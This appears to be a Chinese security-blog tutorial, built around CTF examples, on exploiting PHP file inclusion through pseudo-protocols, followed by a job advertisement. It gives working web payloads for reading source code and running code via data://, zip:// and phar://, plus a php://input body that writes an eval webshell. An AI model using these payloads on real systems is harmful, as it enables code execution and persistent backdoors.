php伪协议的常见利用方式

admin 2022年6月2日02:00:40安全文章评论16 views3909字阅读13分1秒阅读模式

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

前言

PHP伪协议在CTF中经常出现,当我们遇到文件包含时,可以利用这些伪协议执行特定的操作。


No.3

原理

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。当遇到文件包含时,我们可以这个特性来完成我们需要的指令。


常见文件包含函数:
include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.


No.4

常见协议

file:// — 访问本地文件系统
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
phar:// — PHP 归档


No.5

常见利用方式

php://

php://filter/read=convert.base64-encode/resource=index.php (常用于读取源码)
php://input (配合post发送数据)

data://

data://text/plain;base64,base64编码的payload
index.php?file=data://text/plain,<?php phpinfo()?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
index.php?file=data:text/plain,<?php phpinfo()?>
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip://

zip://[压缩文件路径]#[压缩文件内的子文件名]
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=zip://1.jpg%231.php
或 绝对路径
index.php?file=zip://D:/1.jpg%231.php

file://

file://[文件的绝对路径和文件名]
file://d:/flag.txt

phar://

phar://[压缩文件路径]#[压缩文件内的子文件名]
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=phar://1.jpg/1.php
或 绝对路径
index.php?file=phar://D:/1.jpg/1.php


No.6

题目例子

测试环境:
php7.3.4
allow_url_include=On
allow_url_fopen=On


例子1. php://filter/

php://filter/read=convert.base64-encode/resource=index.php
题目地址:bugctf flag在index里 http://xxx.xxx.xx.xxx:8005/post/
打开题目,提示点击连接

php伪协议的常见利用方式

点击后跳转到http://xxx.xxx.xx.xxx:8005/post/index.php?file=show.php
发现有file字样,联想到文件包含

php伪协议的常见利用方式

当我们构造file=php://filter/read=convert.base64-encode/resource=index.php,发现成功利用php://协议读取了源码
http://xxx.xxx.xx.xxx:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php伪协议的常见利用方式


例子2. php://input

题目地址: bugctf web8 http://xxx.xxx.xx.xxx:8002/web8/

php伪协议的常见利用方式

当我们把 fn设为php://input,然后post数据 aaa时,
发现服务器返回的file_get_contents($fn)的数据变成了我们post的数据aaa

若源码为:

<?php
include($_GET['file'])
?>

可以利用php://input执行<?php phpinfo()?>

php伪协议的常见利用方式

也可以POST如下内容生成一句话木马:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

php伪协议的常见利用方式

发现网站跟目录下生成了shell.php

php伪协议的常见利用方式


例子3. data://

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

访问index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=,发现执行了phpinfo()命令

php伪协议的常见利用方式


例子4. file://

file://[文件的绝对路径和文件名]

访问index.php?file=file://d:/flag.txt,发现读取了d:/flag.txt的内容

php伪协议的常见利用方式


例子5. zip://

zip://[压缩文件路径]#[压缩文件内的子文件名]

当前测试环境下,绝对路径和相对路径都能成功。
例如脚本文件为1.php,里面写入<?php phpinfo()?>打包成1.zip,然后再改名为1.jpg,然后上传到服务器
访问index.php?file=zip://1.jpg%231.php(由于是get请求,所以需要把#编码成%23),发现已经成功执行了phpinfo()命令

php伪协议的常见利用方式

若1.php内容为一句话,也可以使用工具进行连接


例子6.phar://

phar://[压缩文件路径]#[压缩文件内的子文件名]
当前测试环境下,绝对路径和相对路径都能成功。
例如脚本文件为1.php,里面写入<?php phpinfo()?>打包成1.zip,然后再改名为1.jpg,然后上传到服务器
访问index.php?file=phar://1.jpg/1.php,发现已经成功执行了phpinfo()命令

php伪协议的常见利用方式

若1.php内容为一句话,也可以使用工具进行连接


网络安保部是安恒信息针对国家级大型活动所成立的部门,专门为国家大型活动提供网络安全保障服务,曾在历届世界互联网大会、广州亚运会、G20杭州峰会、厦门金砖峰会、上海进博会等国家级重大活动和赛事举办期间提供了核心安全保障服务。团队成员据技术方向不同,分别在网络安保中为保障项目提供安全咨询、安全检查、安全监测、应急响应、安全培训等服务。部门多年来以网络安保“零”事故为己任,在网络安全“攻”和“防”的领域中深耕不辍、厚积薄发。


No.7

招聘启事

售前安全咨询顾问
————————————
岗位职责:
1.负责公司网络安保项目
负责售前顾问工作,配合销售人员参与投标项目,负责撰写投标方案技术文件部分和过程中的技术应答文件,完成整个投标过程;
2.为用户提供风险管理咨询,着重于风险管理,安全审计、业务连续性相关的建设工作;
3.与用户进行现场交流,包括初次交流、具体项目交流和投标交流;
4.针对客户网络架构和安全需求,建议合理的网络安全解决方案;
5.负责和参与对用户的短期培训和讲座。

任职要求:
1.熟悉了解GB/T 31168-2014、GB/T 31167-2014、云计算服务安全能力评估方法、等保2.0 云计算技术的信息系统的扩展安全要求、ISO/IEC27001:2013、GB/T20984等标准;
2.能够根据客户的需求设计云安全规划方案、安全建设方案贴合公司产品,并指导落地等;
3.熟悉管理体系建设、推广,并有指导用户进行落地的经验;
4.熟悉给用户提供安全服务规划、安全保障体系设计、顶层设计制定;了解业务系统安全评估、数据安全咨询方法;
5.本岗位要求文笔过硬,较强的沟通能力,灵活的处事方法,擅长PPT编写和演示;
6.能够适应长期出差。


简历投递至:[email protected]

渗透测试工程师(正式/实习)
————————————
岗位职责:
1.负责公司网络安保项目;
2.负责对指定网络资产进行渗透测试,包括Web应用、手机APP,全面发现被测系统存在的安全问题并提供修复建议;
3.负责对客户内网环境进行渗透测试和安全检查;
4.客户系统出现安全事件时进行应急处置,协助客户修复安全漏洞。

任职要求:
1.对网络安全攻防感兴趣,熟练掌握渗透测试技巧、熟练运用各类安全软件、安全测试工具;
2.熟练掌握Windows、Linux平台使用及其攻击技术;
3.熟悉常见Web安全漏洞的原理、测试方法、加固方法;
4.具备优秀的沟通协调能力、学习能力、抗压能力;
5.能适应长期出差,能够接受阶段性7X24小时值班;
6.满足以下条件任意一项即可:
    擅长内网渗透并有深入研究
    擅长WEB渗透并有深入研究
7.独立挖掘过开源程序0day漏洞、拥有CVE等证书者优先。


简历投递至:[email protected]


php伪协议的常见利用方式

专注渗透测试技术

全球最新网络攻击技术

END

php伪协议的常见利用方式

原文始发于微信公众号(白帽子):php伪协议的常见利用方式

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日02:00:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  php伪协议的常见利用方式 http://cn-sec.com/archives/1078221.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: